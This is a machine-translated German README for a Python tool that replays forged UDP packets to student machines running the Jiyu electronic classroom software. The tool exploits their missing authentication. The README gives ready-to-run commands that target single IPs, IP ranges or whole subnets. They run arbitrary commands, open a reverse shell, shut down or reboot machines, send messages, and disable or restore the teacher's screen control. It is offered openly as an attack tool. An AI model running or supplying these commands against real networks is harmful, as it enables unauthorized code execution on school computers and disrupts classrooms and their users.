Jiyu_udp_attack

Jiyu Electronic Classroom-Datenpaket (UDP)-Replay-Angriffsskript

• Da das Schülerterminal von Jiyu keine (=・ω・=) Authentifizierung für das empfangene UDP-Paket durchführt, können wir ein bestimmtes Datenpaket für die Ausführung des Schülerterminals erstellen und so die Befehlsausführung erreichen und jeden Online-Schüler im Computerraum angreifen Maschine.

Betriebsumgebung

• Python3

Versionshinweise

v1.5

• Fehler bei der Befehlsausführung behoben

v1.4

• Code-Rekonstruktion, Optimierung der Parameterauswahllogik
• Die Rebound-Shell-Funktion fügt einen zufälligen Port hinzu
• Dokumentation aktualisieren

v1.3

• Bildschirmsteuerung deaktivieren/wiederherstellen
• Unterstützen Sie die Rückprallschale

v1.2

• Fehler beheben

v1.1

• Die Option -g unterstützt das Abrufen des Ports, den der Schüler abhört.

v1.0

• erste Einreichung

Anwendung:

 usage:

    ------------------- Github Repositories -------------------
            https://github.com/ht0Ruial/Jiyu_udp_attack

       [-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
       [-e {r,s,g,nc,break,continue}]
       {r,s,g,nc,break,continue} ...

positional arguments:
  {r,s,g,nc,break,continue}
                        -e 参数的详细说明
    r                   reboot 重启
    s                   shutdown 关机
    g                   独立选项，获取当前的ip地址以及学生端监听的端口
    nc                  独立选项，反弹shell的机器需出网，退出可使用命令exit
    break               独立选项，脱离屏幕控制，需要管理员权限
    continue            独立选项，恢复屏幕控制

optional arguments:
  -h, --help            show this help message and exit
  -ip IP                ip 指定目标IP地址
  -p P                  port 指定监听端口，默认端口为4705
  -msg MSG              send_message发送消息 eg: -msg "HelloWord!"
  -c C                  command命令 eg: -c "cmd.exe /c ipconfig"
  -l L                  循环次数，默认为1
  -t T                  循环时间间隔，默认是22秒
  -e {r,s,g,nc,break,continue}
                        Extra Options加载额外的选项 eg：-e r
          

Anwendungsbeispiele

Tipps:

Wenn Sie den Parameter -ip zur Angabe der Ziel-IP verwenden, können Sie diese auf folgende Weise angeben:

• Geben Sie eine einzelne IP an, z. B. 192.168.80.12
• Geben Sie den IP-Bereich an, z. B. 192.168.80.10-56
• Geben Sie Segment C an, in dem sich die IP befindet, z. B. 192.168.80.1/24

1. Ermitteln Sie die Intranet-IP-Adresse und den Überwachungsport

Wenn der schülerseitige Überwachungsport nicht der Standardwert 4705 ist, müssen Sie den Parameter -p verwenden, um den Port bei nachfolgenden Vorgängen anzugeben.

 python Jiyu_udp_attack.py -e g

2. Befreien Sie sich von der Bildschirmsteuerung

Die aktuellen Ausführungsberechtigungen müssen Administratorberechtigungen sein, die hauptsächlich zum Starten des MpsSvc-Dienstes verwendet werden.

 python Jiyu_udp_attack.py -e break

3. Bildschirmsteuerung wiederherstellen

 python Jiyu_udp_attack.py -e continue

4.Nachricht senden

Wenn der schülerseitige Abhörport 4705 ist, senden Sie eine Nachricht mit dem Inhalt „Hallo, Baby!“ an den Computer mit der IP-Adresse 192.168.80.12

 python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"

Wenn der schülerseitige Abhörport 4605 ist, müssen Sie den Parameter -p verwenden, um den Port anzugeben und eine Nachricht mit dem Inhalt „Hallo, Baby!“ an den Computer mit der IP-Adresse 192.168.80.12 zu senden.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"

5. Führen Sie den Befehl aus

Spielen Sie einen Taschenrechner für 192.168.80.12 bis 192.168.80.137

 python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe

6. Rückprallschale

Beim Zurückprallen der Shell kann es sich nur um die IP einer bestimmten Maschine handeln und sie kann nicht stapelweise zurückgewiesen werden. Darüber hinaus muss die Maschine das Netzwerk verlassen, da die Stapelausführung beliebiger Befehle implementiert wurde , es wird nicht hinzugefügt.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc

7. Herunterfahren und neu starten

Abschalten

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e s

Neustart

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e r

8. Schleife

Senden Sie kontinuierlich Nachrichten mithilfe einer Schleife
Die Maschine 1-254 erhält eine „Hallo, Baby!“-Nachricht und führt die Ausführung nach 50 Sekunden insgesamt dreimal fort.

    python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50